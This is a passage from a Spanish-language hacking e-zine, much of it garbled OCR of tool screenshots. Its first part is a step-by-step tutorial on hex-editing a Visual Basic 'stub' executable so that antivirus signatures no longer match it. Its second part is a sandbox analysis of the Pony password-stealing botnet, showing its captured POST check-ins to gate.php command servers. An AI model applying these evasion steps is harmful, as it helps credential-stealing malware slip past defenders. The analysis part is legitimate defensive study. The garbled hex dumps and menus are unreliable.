donde dice "Compile Script" que servird para que nuestro ejecutable cambie su versién. Recuerden ir al menu
File, y dar click en Save o Save As.

De esta forma ya aprendimos como cambiar el icono y la “Version Info” a un ejecutable.

4. QUTAR LAS FIRMAS DE UN EJECUTABLE

Bajo este titulo, aprenderemos algunos métodos para quitar firmas de un ejecutable, para ello usaremos un
Editor Hexadecimal "HexWorkShop".

Abrimos nuestro archivo con HexWorkShop y nos vamos al binocular marcado en la imagen y en “value” ponemos
VB5.

Asimismo, nos aseguramos de que estén los casilleros marcados tal cual como se ve en la imagen siguiente:

@ e Workehop - [CALere\Rnda\Necktopteruh.eve] - &=
File Edit Disk Options Took Plug-lns Window Help X
23R L HEAR (BpEse e -Bn | [@% 0
» B (B & E | |y -

Ir R R = ||| Dats Inspector P oax
U it P 3 = b ! o =, |

g a0 1& <0 00 08 20 . ||| Data atottset 13ui:

z oo o U oo 00 0o (] 86 B
z 00 &0 20 £0 00 07 00 00 S
5 ¢0 07 00 (NS 0 s 182 |
= U 1E 00 uitlé 16382 2

o 0o Criteia | Range a0 in32
00 FC 1B || - Find What 53 _w:t:- |
v uoooo E’P+: ‘Taxt String '| ‘ lDe‘lau?t ANSl:cp_acp = - " -
o0 o0R oo 4 uintd4
0o FF Value: vb5 - 0 helf floa  3.1679588
Lo Fe 14 ber TR 00 00 ... G .. G... 0%, flost
on oan 00 M 00 - double =
0o 00 00 Ontions Jrecticn ‘ F 73 ....... . losmejor.los Expressior Calc g oex|
L 6F 72 00 [E1Find Al Instences [7] Match Case Jlg 02 00 mejeor..losmejor..... Signed '“32 bit 'I
00 0o 00 (© UTF-3 Stir @ Duwnl N 00 O RRERE B 1
2 a = a0
oo 18 g0 @ ANSI Sting 00 00 LB . AL LBl
00 00 00 || "Firemmn 40 00 .......... Bovnnnn e.
on F4 16 oa an oo L. @. ... .@.._..
00 01 00 . 10 00 L@ B......... =
I
x| : |

+|| Cnmpare Resnlts All - B ‘ = A
o
|| Typz Source (9 Count [GJ Count 8] Terget 1) Count [0) Count 8]

Tg_ I%Compsre f\{fichetksum | B8 Find | 4 Booknarks [E] Qutput
ki |

Ready Cursor: 1870 Caret: 1988 Sel: 3 0OV3 MOD READ

Nota: Si cambian o modifican la VB5 el archivo quedara roto.
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Ahora, si bajamos un poco nos encontramos con unos datos que vamos a modificar:
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=1 5
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@ o S = 3
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— [}
4 o= = = 2| B E
= ] @ .
I 3 8 = ®w S il =
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Cambiamos el titulo del proyecto por cualquier cosa que se nos ocurra, en el ejemplo de la imagen rellené

"ModByRod".
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Seguidamente, buscamos la MSVBVMG60 de la misma forma que antes:
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En este caso, modificamos las mayusculas por minusculas y borramos la .DLL; marcamos el .DLL botén derecho,
FILL

0 DB 79 01 00 EZ 79 01 00 9 01 00 o¥.'o¥VeuoeVeooV.oo V.. iy Lrese
0 7 oy oy 80 .Z...Z...Z..@Z...... uintle 17434
0 0o 0o 00 B...d...Nz.."%z..lz.. int32 1280066606
0 00 00 00 h...~Z.oiZuuaZ...Z.. uint32 1280066806
0 00 00 201 00 vZuu.Z..iuiZuu.Z...Z.. intbd
b 30 & -0 00 00 00 . .msvbvmed uint64
0 00 5F 61 64 6= 66 70 74 61 GE _CIcos.... adj|% Cu EUS
2 56 61 72 4D 6F 65 00 00 vhaVarMo] BnCopy CTRL+C
2 €1 72 67 4E 6F 72 s 00 _ vhavarvVargNo| CopyAddres
] 65 65 56 61 72 00 00 00 5F 5F ..__vbaFreeVar
F 65 00 00 00 00 5F S5F 62 61 53 vbaRAryMove... ._
[ 00 00 SF SF 76 &2 4C €5 6E trVarMove...__|— o -0
0 SF 76 62 61 46 72 65 56 €1 72 Bstr...._ vhaF| =
0 61 64 G6A SF 66 64 €9 5F 36 List...._ adj f{ Find v (0772010
X 66 70 72 65 6D 31 00 00 SF 4... adj fprem| Gote v

7 &5 7 00 N g +r] 000100...
2 74 65 73 00 00 SF & 62 vwvhaCopvBvtes.. @adtl T p—

% Add Color Mapping... CTRL+M
Properties... ALT+ENTRAR |

“annt fiod Cannt 6] Tarnet fio] Crunt il TATIAT e

Serd 4 el nimero de bytes que marcamos y 0 con lo que vamos a rellenar. Damos click en OK.

3¢ 4 7A 01 00 5 7A 01 00 eC 7A 01 00 B...d...Nz.."z..l=z..

J0 B8 TA 01 00 %8 72 01 00 ZZ 72 01 00 h...~Z. . Z' e eZBeeeBau.

20 7A 01 00 D8 7A 01 00 E8 74 01 00 .z...Z..e'uZeoe.Zu..Z..

52 76 €D 36 30 4 ¢ =] 20 00 00 00 comsvhvme O |ERE ...

J0 00 00 =F ¢l ©4 €6R SF €6 70 74 £1 &F C oo =44 frntan

62 &1 56 61 72 D &F 7& €5 00 00 |FillBytes

72 56 61 72 &7 4E GF 66 72 &5 65

46 72 €5 &5 5¢ &1 72 00 00 00 0O Mumber of bytes: |4 Hex
8F 76 ©5 00 00 00 00 ZF SF 76 g2 @ Dec E |
76 &5 00 00 00 5F 5 Te 62 &1 4cC

J0 EF S5F 76 62 61 46 72 &5 &5 Be6 o i e

10 SF 61 64 6AR SF 66 64 69 76 SF Fill with the following hes byte: 0]

A SF ©6 70 72 6% eD 31 00 00 00

42 7% 74 &5 73 00 00 00 00 EF 5F Fillz the Current 5 election X

Nos quedara como en la captura precedente.

También, podemos alternar entre mayusculas y minusculas (Ej: MsVbVm60).
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02 00 80 3R 02 I 80 0o 100 o¥eeooioay vy
7% 01 00 DB 7% 01 00 00 100 Y. Vee-¥V-.-¥ v
7z 01 00 2ZE 7R 01 0C 0o 80 .z zZ...z2..08z.....
00 00 80 4E 7A 01 00 ao 1 00 B. d Nz.."z 1

7z 01 00 88 7aA 01 0C 0o 00 h...~z 2.

7 01 00 C [ oo oo o1 00 z - Z...Z2..
73 76 €2 76 6D 30 0a 00 00 ....msv ¢ N
73 00 00 00 00 61 66 74 &1 6E _CIcos...._adj_fpta
5F 76 82 61 56 72 65 ao 00 ...._  vbaVarMove....
56 &1 72 56 61 67 & 72 65 00 __wvbaVarVargNofree..
62 61 46 72 65 65 56 ¢ 00 00 00 Q0 5F __vbaFreeVar....
7% 4D 6F 76 65 00 0C 5F 5F 76 62 53 vbaAryMove....__vba$g
4D ©6F 76 &5 00 00 00 76 62 61 4cC €E trvVarMove...__vbalen
a0 00 SF SF 76 62 72 65 S6 72 Bstr....__vbaFreeVar
0o 00 5F 61 64 6A 64 69 5F 36 List...._adj_fdiv_mé
61 ©4 ©A SF 66 70 72 31 00 0o SF 4... adj fpreml...
70 75 42 79 74 65 73 00 00 S5F S5F 76 62 vbaCopyBytes.... Wb

uintd
intld
uintlé
int32
uint32
intG4
uintd
half float
float
double
DATE
DOS date
DOStime
FILETIME
time_t
timebd_t

binary

32
32
32
32
32

T154323558355607..,
7154323558355697. .

1.9073486e-006
44841551 e-044
1.806845e+170
<invalid>
<invalid>

0:01:00

<invalid=>

0:00:32 01,/01/1970

<invalid>

0010000000000000...

N° 2

Por otro lado, si examinamos un poco el archivo, nos vamos a encontrar con nombres como: vbaVarMove,

vbaAryMove, vbaCopyBytes. Estas son librerias que contiene el ejecutable, la mala modificacién de alguna de

ellas trae como consecuencia que podemos dejarlo [al ejecutable] inutilizable.

Para mover alguna libreria usaremos el famoso método TIL. Para ello utilizaremos la herramienta “CFF Explorer” o

“Explorer Suite"; click derecho en el ejecutable y lo abrimos:
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s’ CFF Explarer VI - [Bik exe]

File Settings ?
iy

= B

.

Rl

Blodule Mame

|5 ol Fite: blkee
| |— L& Das Hasder

| L2l M Heegers
i 12 Fia Haader
AEiiﬁbﬁunde

[ [ata Divectortes |

Irn parts

OFTs

TirneDateStamg

sTANSi

{nFunctions)

Drwieel

Dword

MSVEWMGDDLL

i3

e iF LT

FFFFFFCC

FFFFFFFF

Egimm:unl';hings’luumdinhl.m B omeX

Address [%) | Length 1% | Length M |

DOo00L B 5 ns et

QoCo o7 ] 113 " daita

[EEECTE ] 5 1] I
OODO0EEE i1z {1 M5B A60.0LL
OO0 =2 ] i3 -C000-hlk
OO00L B0 4 m 0000
o419 [ [117) b5~

Q00 790 5 05 Krnain

&

e

Ea inctances of ‘strings' found in blk,exe MR omaX

 Address [5 [ Length [%) | Length B |

000mecs 4 o Sa3@

DODMCLE 4 ] h<3fp

DOD0LCZC 4 2] 53 D
D0002AAC 1z ac BASVEYMB0.0LL

I L 6 _Cleos:

00002A08 10 s _adj_fptan

00002404 12 oc _vbadryMove

Dﬂﬂﬁlﬂl Ed 12 ac b Fresiar | i
4 1 [

Nos vamos donde dice "Import directory" alli veremos la msvbvme60, le damos

librerias.
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)

Mudule Narme

Tt

orTs

TineDateStan

Fuimandei Chain

Maine RA

ITs QA7)

000167C8

N7A

00016624

00016628

0001662C

00016630

00016634

bile Settings ¢
> 8
faci
— (& Doa Header
(3 Nt Headers
(3 Optionial Header
(2] Detm Divectaries [x]
Eimport Directory
— () Resource Dirsctory
— 4, Dependency Walker
— ), Hex Ednor
\ Import Adder
%, Quick Disassembler

B TFile: stub.exe
[ Fils Hoader
— (& Section Headers i
— 9% Addiess Conveilan
Wy Wenlilic
\, Rebuilder

szhnsi

(nFiinctinns)

Nwenrd

Pwnrd

Dwnred

Editor

OFTs

FTs [ATY

Hint

Name

Resource
3 UPX Utility

Dword

Dwerd

‘Word

szAnsi

00017506

00017506

0000

Cleas

000175E0

000175€0

0000

_adj_fptan

000175EE

000175EE

0000

_vbaVarMove

U015k

UOUL/5kE

gy

_wbaVarvarghotree

00017614

00017614

0000

_vhalrecVar

00017624

00017624

0000

_vbedryMove

00017634

00017634

0000

__wbaStrVariMove

00017646

00017646

0000

_vbalenBstr

Nwnrd

Pwnrd

Veamos entonces, de qué forma podemos cambiarlas de lugar; para esto abrimos nuestro editor Hex y buscamos
un hueco donde haya una linea completa de ceros. En este ejemplo, debajo de la ruta del proyecto podemos ver
gue hay una combinacién de ceros de izquierda a derecha.

Podemos probar, en otro lugar también, donde haya dicha combinacidn.

[w] FIE EQIT DISK UPTIGNS 10015 FIUG-INE  Winaow  Hep o | |-Hu‘”ﬁ‘
HBH (LBAER7C | BABE ® -89 YRpE
AT L) | R —)
0 12 3 4 5 6 78 9 A B C D E F 10 11 12 13 0123456789ABCDEF0123 DDE'EI”W:' uuuuuu:nq
ta at offset b
8 loocoosz0 01 00 81 6c 24 04 FF FF 00 00 E9 F2 54 01 00 81 PN | b
2| llooooogca FF 00 00 E9 DS 5B 01 00 F4 01 00 00 08 1A 40 00 all™ ° -
€| [looooosne E£0 22 40 00 20 74 41 00 SC 04 00 00 08 80 41 00 uin 0
5| llooo009EC 00 80 41 00 22 00 5C 00 41 00 43 00 3& 00 5C 00 e 0 :
“||looooozoo 63 00 75 00 6D 00 &5 00 6E 00 74 00 73 00 20 00 uint§ 0
00000A14 €4 00 20 00 53 00 65 00 74 00 74 00 6% 00 6E 00 ez 0
00000228 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 uin32 0
00000A3Cc 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 ntg4 0
epaodeg= (00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 uintsd 0
Eooooam |¥ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 halfflozt 0
T 00 U0 00 U0 00 00 00 00 00 00 00 00 00 00 00 flost 0 =
0000028 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 wvveevenrveanenenenn Expression ol L%
00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .vvereneerenennnn..
00000284 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000ACE 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 !
000002DC 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000002F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00000804 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
000008168 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -
- O
X h
+| Compare Results All B |2 X
Type Source [B) Count 6 Count [§) Target [§) Count 5 Count [§)
EIER Y checes Frd | & ockmaris | [2) oumut
i Iﬁgnmpare * & um‘nm ‘.nn art ‘ utpu‘
128%0bytes VR MOD READ

Cursor: 00000ACE  Caret: 00000464

1

1512/

Ahora, hacemos click en los puntitos y vemos debajo donde dice Caret que es el lugar donde vamos a pegar la

libreria, en este caso: 19A8.
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SH@W |

B ME | YN e e

s | 9|

Ne 2

B Y| E w |

0 1L 2 3 4 5/6 7 8 9 A B|C D E F 10 11 12 13 0123456789ABCDEF0123 D;'ﬂ"s”e‘:’ p I]I]I]I]1I:AB“

ta at 1 N

00001658 ZE 00 76 00 &2 00 70 00 00 00 00 00 00 00 00 00 0O 00 00 . ||| 23 at oftset X
0000166C 00 00 00 00 00 00 00 00 00 00 00 DO 00 OO 00 00 00 00 0O intg 0 —
00001680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 uints 0
e e==— 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 intl6 0

bo oo 00 0o 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ||| wirts 0
000016 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O int32 0
000016D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 uin32 0
000016E4 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 0O 00 00 00 00 into4 °
000016F8 00 00 00 00 00 00 00 00 00 00 00 0O 00 OO 00 00 00 00 0O uintsd 0
0000170c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 haff float 0
00001720 00 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 float 0.
00001734 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00 00 0O double 0.
00001748 00 00 00 00 00 00 00 00 0O 0O 0O 00 0O 0O 00 OO 0O 0O 0O DATE 0:00:00 30/12/1889 s
0000175c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 DOSdate  <invalid>
00001770 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 0O 00 00 00 00 DOStime  0:00:00
00001784 00 00 00 00 00 00 00 00 00 00 00 0O 00 00 00 00 00D 00 00 FILETIME  2:00:00 01/01/1601 1
00001798 30 14 40 00 04 00 00 00 00 00 00 00 70 70 40 00 50 1E 40 fimet 000001011970 ||
000017aC FF FF FF FF 00 00 00 00 60 70 40 00 CE c4 2& 74 Ca 0C &1 times4_t  0:00:00 01011970 )
000017Cc0 8¢ 37 77 A4 F9 2C 1F c7 02 00 02 00 02 00 02 00 F4 17 40 pinary  00000000000000Q0... ||/
000017D4 00 00 00 00 00 00 00 00 00 00 00 DO 64 18 40 00 09 04 00
000017E8 O2 10 00 00 00 00 00 00 02 00 00 00 8C 14 40 00 FF FF FF
000017FC 9C 1% 40 00 00 00 00 00 10 70 40 00 00 00 00 00 54 18 40 =
Stub.eve
ympare Results Al B 7
ype Source [6) Count f@) Count [8) Target [8) Count f) Count [6) ﬂ
i compare | & checksum | @B Find | 4 Bockmarks | [B) output | —

Curser: 00001643 hmmw 36864 bytes OVR | MOD READ ——

Bien, una vez que ya sabemos la ubicacién exacta en donde peguemos la libreria, abrimos nuestro CFF Explorer

En este caso elegimos la libreria __vbaVarMove, la copiamos.

OFT= FTs (TAT) Hint Mame
0000:0B4 00001008 00006216 00006218
Dword Dword Word sziinsi
0000G1FE T2A39386 0000 _Cleos
00006208 T2A309F% 0000 _adj_fptan

Dezhacer

Cortar

Eliminar
Seleccionar todo

Lectura de derecha a izquierda
Muostrar caracteres de contrel Unicode

Inzsertar cardcter de control Unicode *

Abrir IME

Reconversion

00006226 T2A0COFG 0000 _vhaStrAryTolnicode
0000e23E T284728D 000a0 _vhaVarVargMofree
00005254 T2A45831 00040 __vhaFreeVar

00006254 T2A0C244 00040 _vhafryMove
00006274 T2A0C0ED 0000 _vhaStrAryToAnsi
ANANE 793 TrnEAnD AnAn vl D

Finalmente, reemplazamos el 6216 por la nueva ubicaciéon 19A8.
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OFTs FT= (IAT) Hint Mame
00006084 00001008 00001648 00001644
Dwaord Dword Word szANs
000051FE T2A35386 0000 _Clcos

00006208

T2A309F9 0000

Recuerden:

| File h Settings 7

File, Save/ Save As.

E a’ Open
Claose

Close All

00006226 T2A0COFG _whastréany Tellnicode
0000&823E T204728D 0000 _whaVarVargMofree
00006254 72A46831 0000 _whaFreeVar

00006264 T2A0C244 0000 _vhahnyMove
00006274 TZAQCOED 0000 _vhaStrArnyToAns
ANNAE Y0 7 A AOD fAnnn S

FerwarderCl

B save

N/A

0000608C

| Saveds.

Load CFF Explorer Script

Exit

Veamos como quedd la libreria en Hex con su nueva ubicacion:

{nFunctions)

Dword

' — [E)Resource Directony

S e‘!.i,;[)a[:lenr.:lar‘n:yW’dker

' — ), Hex Editor

' — 8, identifier

' — 2, Import Adder

L ‘ﬁ;ﬂuck Disassembler

| — 4, Rebuilder

[ “)Resource Editor OFTs FTs (AT) Hint Name

o — & UPX Unility

i 00006084 00001008 00001948 00001944
1 Dward Dword Word szfinsi

| 000081FE T2A39380 0000 _Clcos

i 00006208 T2A309F3 0000 _adj_fptan
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LR IEA AL ] s i a > m |
= = = " T IPTEETTE = Py " Data Inspector o
0 2|34 /5]6]7/8]9A|8]c|D|E]|F §|11 12|13 |B123456789ARCDEFGI23 e £ "‘x

. Data at offset 0x00000000:
0a T < « T -
00 00 00 00 00 00 00 00 +..uvvvninnnnnnnnnns inté ” =
00 00 00 00 00 00 00 00 wuevnrnrnnnanannnn.. uinte 77
00 00 00 00 00 00 00 00 & vvererenonnnnasennn intla 2119
18 vhaVarMove...... [)|[ wntts 23127
0 e .

0 00 00 00 00 00 00 00 00 wuevnrnrnnnanannans. uint32 - s4g030L 1

0 00 00 00 00 00 00 00 00 vt eveereenoneenenen int64 12394362189

0 00 00 00 00 00 00 00 00 .o vrer e oeeneenenan uintéd 12894362189

0 00 00 00 00 00 00 00 00 @& eur e et e e e e aenn half float 201625

0 00 00 00 00 00 00 00 00 @ tvvererenornnnanenns float 1.3256705e-038

0 00 00 00 00 00 00 00 00 & vverurennnnnnasenns double  6.3706614e-314

0 00 00 00 00 00 00 00 00 eeevnrnrnnnannnnnn.. DATE  tinwafid>

) 00 00 00 00 00 00 00 00 @ & v e ev e o e eeeaeennn DOS date  13/02/2025
a0 NOCHme 111277 A
00 00 00 00 00 00 00 00 ..ovnvnrnnnannnnn.. [Boressnca 3 -x]
- B ept- 2.6
: 7
6
8
- 7

Compare Results

Al - |2 X

Type Source [§) Count i) Count [§) Target [§) Count ) Count [
| %Cnmpars flchacksum | B Find | & Bookmarks | Output ‘
Cursor: 00001760 Caret: 00000000 36864 byvtes OVR!MOD! READ I ™

i

Conclusiéon de cierre: Moddear un binario, bajo el auxilio de las

herramientas referidas, no resulta un

procedimiento complejo y puede sernos de gran utilidad. Confiamos que el articulo que os dejamos les resulte
ameno y comprensible para los que se inician en esta area.
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. ANALISIS DE MALWARES

Nuevamente bienvenidos al capitulo de andlisis de malware. En esta oportunidad vamos a realizar una tarea
sencilla; nuestro trabajo consistirda en averiguar hacia donde apunta (o que pretende) el fichero malicioso.

Consideramos como punto de partida el archivo que aparece en la siguiente imagen; con la idea -como
sefialdbamos antes- de ejecutarlo y con el objetivo de saber a dénde apunta.

BCB6 Evaluation Edition

1. ACHEROS MALICIOSOS Y WIRESHARK

Antes de proceder a ejecutar el archivo infectado, vamos a iniciar Wireshark en nuestra maquina virtual (siempre
se aconseja ejecutar malware en entornos controlados), para no perder detalle de las conexiones que realiza
mientras se ejecuta:

& Capturing from Conexién de area local [Wireshark1.10.3 (SVN Rev 53022 from /trunk-1.10)] (=& =
Eile Edit Yiew Go Capture Analyze Statistics Telephony Tools Internals Help

oG ama BRXS

Filter:

%8|

vo. Source

BCB6 Evaluation Edition dejé de funcionar

599 25.3927530192.249.113.41 10.0.2.
600 25. 3927570192, 249,113 41 10.0.2.15 Tcp Windows puede buscar una solucién en linea al problema
601 25.3927610192.249.113.41 10.0.2.15 TCP
602 25.3927640192. 249.113.41 10.0.2.15 TCP - .
0.2 < Buscar una solucién en linea y cerrar el programa

603 25.3027670102.249.113.41 10.0.2.

3044140 192. 249.113. 41

=» Cerrar el programa
3944180 192.249.113.41

608 25.3958690 102.249.113.41 10.0.2.

0.2 ) Ver detalles del problema
609 25.3973990192.249.113.41 10.0.2.15 TP
610 25.3974030192.249.113.41 10.0.2.15 TP
611 25.3974090192.249.113.41 10.0.2.15 HTTP

.3975990 192. 249.113.41

D

619 27.9661550 192.249.113.41
.966222010.0.2.15

http > 51411
51411 > http

10.0.2.15
192.249.113.41

Ack=192 win=65535 Ler=0
a reassembled pDU]
a reassembled PDU]

[TCP segment
[TCP_segment

tup [

Tcp 1474 [TCP segment

Tcp 86 [TcP segment of a reassembled PDU]

a reassemb]es
a reassembled PDUT =

C 249.113.41 S0.2. TcR P segment
630 28.1856240192.249.113.41 10.0.2.15 TCP ITCP seament

Frame 620: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0

Ethernet II, src: CadmusCo_80:08:5c (08:00:27:80:08:5c), Dst: Realteku_12:35:02 (52:54:00:12:35:02)

Transmission Control Protocol, Src Port: 51411 (51411), Dst Port: http (80), Seq: 1, Ack: 1, Len: 0

a7 m b

0000 52 54 00 12 35 02 08 00 27 80 08 5¢ 08 00 45 00
0010 00 28 24 56 40 00 80 06 00 00 0a 0Q 02 Of c0 9
0020 71 29 c8 d2 00 50 d4 66 &4 38 15 4f 14 02 50 10
0030 fa O 3e dc 00 00

@ [ [Conexion de area local: <live capture in prog... | Packets: 949 - Displayed: 949 (100.0%) ) [ Profite: Default }
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Como vemos, Wireshark nos dio distintas datos al ejecutarlo; vamos a revisarlo en busca de informacién
interesante, entre todas ellas, podemos ver una que destaca sobre el resto:

Buscaremos todas las conexiones que se realizan hasta esa direccion IP, entre todas ellas, encontramos éstas:

Como podemos ver en la siguiente imagen, se envian datos de nuestra maquina hacia un archivo php alojado en

una web, vamos a ver dénde:

........ cmpN?WF .8.°D.;...;

pTAiE R

Precisamente, en este momento, Windows lanza un aviso de que el archivo hacia mas de lo

pensabamos, pues estaba creando varios archivos temporales...

UNDERCBDE.ORG

M Follow TCP Stream o] =]
Stream Content
..(-_').. GF. 1A, AL AL L Le 1D S~ G ATIVITONC, s o Y5, s c B Denn e e J_Ap'. e e e~V IEWUL . G s w e T =] .
.............. 6 . e tC?uid. R .rToMxiBk*b.m’
E*%k ZD. b»’\ .P +325n0c ?0 L3P, LT +j."*&....6_1A.5..g Mod. ..Y...:. .
T..-# w.d. ... Lt a%'i.O.*SAb/.oeM.s 2....L.w. .ZZ..{....ep..g9.. Lc4 L1.6.
[Ah#d.bu ... olLr ..... BO.. ..:;.Qu y]0.a..x!'-.. 6.1 ... G..BATS.X.7..40.1.5. . X.P34. . N....>
5. onH.-f.b..F...+<. ,0.GUM
T..N.P.M..... PT..4[
XsH|.
,-{.Tal.N.f.IA.R. 1BaX
sefzk. ... ..., >8..)8..-w..Bd

w
L P KERNEL32.DLL.advapi32.d11.01e32.d11.5hel132.d11.shlwapi.d11.user32.d11.useren
v.dll.wininet. d'I'I wsock32.d11. . LoadLibraryA. . GetProcAddress. . virtualProtect. .virtualAlloc. . virtualFre
e...ExitProcess...RegCloseKey. ..CoCreateGui d..shellExecutea. ..Strstra.. Swsprintfa. .. Loaduserprofile —
,3. .InternetCrackUrlA. ..sen =
4 I
Entire conversation (35741 bytes) |Z|
[ End || savess |[  pint  |© ascr ) EBCDIC ©) Hex Dump ©) CArays @ Raw

[ Filter Out This Stream ] [ Cloze

que nosotros
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Alerta de

®

Windows Defender 2

Revisar software perjudicial o potencialmente no
deseado

Se detectaron programas que podrian comprometer su privacidad o causar dafios en el equipa. (0ug
significan los niveles de alerta?

Elementos detectados Nivel de al...  Acddn Estado

'gij' PWS:Win32/Fareit.gen!C Grave Quitar ~ | Activa

Categoria: -
Programa de interceptacién de contrasefias @

Descripcion:

Este programa es peligroso v recopila las contrasefias del usuario.
Recomendacién:

Quitar este software inmediatamente.

Recursos:

containerfile:
C:\Users\blackdrake\AppData L ocal{Templ1007515.exe

containerfile:
C:\Users\blackdrake\AppData L ocal{Templ1013765.exe

containerfile:
C:\Users\blackdrake\AppData\Local Temp! 1029062, exe

[ Limpiar sistema ] [ Aplicar acciones ] [ Cerrar ]

Pero continuemos con nuestro trabajo: encontrar la pagina web. En Wireshark obtuvimos lo siguiente:

L= emmmm mm e m - R,

= Hypertext Transfer Protocol

mmm— = g mm— s e mmma— =3 e m—- n—c—=p 3 - —— = a——— =g

[+ POST /Panel/gate.php HTTP/1.0%r\n

Host: login.ministryofvape
Accept: */*\r\n
Accept-Encoding: identity,
= Content-Length: 2745\r\n
[Content length: 2745]
Connection: close\r'n
Content-Type: application/
content-Encoding: binary\r
User-agent: Mozilla/4.0 (c
s rhn
[Full request URI: http:

5. comirhn

*;g=0\rin

octet-stream'rin
n
ompatible; MSIE 5.0; windows 98)\r'\n

login.ministryofvapes. com/Panel/gate. php]

[HTTP request 1,/1]
[Response in frame: 6427

& Content-encoded entity body (binary): 2745 bytes [Error: Decompression failed]

Ya localizamos la pagina web, que por el archivo Ilamado gate.php se puede pensar que es una BotNet.

2. LA INFORMACION DE CUCKOO

Vamos a subirlo a Cuckoo (cuya instalacién vimos en la entrega pasada) o bien, usamos el servicio que nos

ofrece malwr.com:

Signatures
File has been identified by at least one AntiVirus on VirusTotal as maliciou
Performs some HTTP request

The binary likely contains encrypted or compressed data

section: {u'size_of_data": u'0x00008400", u'virtual_address" u'0x00012000', u'entropy': 7.891206827567479, u'name': u'UPX1", u'virtual_size": u'0x00009000'}

The executable is compressed using UP

section: {u'size_of_data': u'0x00000000', u'virtual_address': u'0x00001000', u'entropy": 0.0,
Steals private information from local Internet browsers

process_id: 1316

process_name: Pony exe
file: G:\Documents and Settings\User\Local Settings'History\History. [EStindex.dat

Contacts C&C server HTTP check-in (Banking Trojan)

u'name': u'UPX0', u'virtual_size': u'0x00011000'}

Ne 2

url: {ubody': U, u'uri’: u'http/login. ministryofvapes.com/Panel/gate.php', u'user-agent': u'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)', Uport’: 80, u'host': ulogin.ministrycfvapes.com’, u'version’: u'1.0', upath’: u/Paneligate.php’, u'data’: UPOST /Paneligate.php

HTTP/1.0\r\nHost: login.ministryofvapes.com\rinAccept: **rinAccept-Encoding: identity, *ig=0rinContent-Length: 275\inConnection: closeirinContent-Type: application/octet-stream\rinContent-Enceding: binary\rinUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0;

Windows 88)\rin\rin’, u'method": W'POST'}
Harvests credentials from local FTP client softwares
tile: C:\Documents and Settings\User\Application Data\GlobalSCAPE\CuteFTP\sm dat

Installs itself for autorun at Windows startup
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Como vemos, en el mensaje, Cuckoo nos dice que el malware roba informacidn local de los navegadores, ademas,
de que puede ser un troyano bancario; (cuyo nombre de proceso es Pony.exe).

En consecuencia, nos pusimos a investigar sobre ese archivo (cuyo objetivo era encontrar mas archivos como
éste), pues queriamos saber de que BotNet se trataba, y la suerte nos acompafid, porque lo encontramos:

Lo subimos directamente a Cuckoo, pues también nos da informacidn sobre los host a los que conecta.

Hosts Domains
] DOMAIN [
87.237.198.245 www.google.com 74.125.239.113

74.1256.239.113

5.45.179.167

No conectaba al mismo dominio que el anterior archivo, pero podia ser -bdsicamente- porque no habia sido
creado por la misma persona... fuimos a revisar los mensajes que nos proporcionaba para ver si tenia algo que ver
con el otro:

Signatures

Executed a process and injected code into it, probably while unpacking
Tries to unhook Windows functions monitored by Cuckoo
Collects information to fingerprint the system (MachineGuid, DigitalProductld, SystemBiosDate)
Steals private information from local Internet browsers
Creates Zeus (Banking Trojan) mutexes
Contacts C&C server HTTP check-in (Banking Trojan)
ur: {u'body": u", u'uri': U'http://87.237.198.245/img/gate.php', u'user-agent': u'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; 8V1; InfoPath.2; NET CLR 2.0.50727; NET CLR 3.0.04506.648; NET CLR 3.5.21022)', u'port": 80, u'host': u'87.237.198.245', u'version'

u'l.1', u'path’: u'/img/gate.php’, u'data’: u'POST /img/gate.php HTTP/1. 1\rinAccept: */"\rinUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)"r\nHost:
87.237.198.245\r\nContent-Length: 2127\r\nConnection: Keep-Alive\rinCache-Control: no-cache'rinirin', u'method': u'POST'}

Operates on local firewall's policies and settings
Creates a slightly modified copy of itself

Installs itself for autorun at Windows startup
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3. LA BOTNET PONY

Mas o menos su funcién era la misma pero este parecia mucho mas peligroso... por lo que nos pusimos a
investigar sobre Pony, y esta es la informacidn que obtuvimos:

Pony, es una BotNet que tiene el siguiente aspecto:
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Pony es capaz de robar informacién de mas de 60 programas:

1. systeminfo

2. FAR Manager

3. Total Commander
4, WS_FTP

5.  CuteFTpP

6. FlashFXpP

7. Filezilla

8. FTP Commander
9. BulletProof FTP

10. SmartFTP
11. TurboFTP

12. FrFTP

Pueden ver la lista completa y mas sobre este andlisis en:

http://zerosecurity.org/2012/06/a-look-at-pony-1-7-http-botnet

Para cerrar esta breve guia, recordarles que en el andlisis de malware es conveniente realizarlo no solo en
entornos controlados, sino que debemos irlo ensayando o probando de manera gradual y atenta al universo
cambiante que éste implica. En futuras entregas iremos viendo analisis mas complejos conjuntamente con el uso
de otras herramientas.
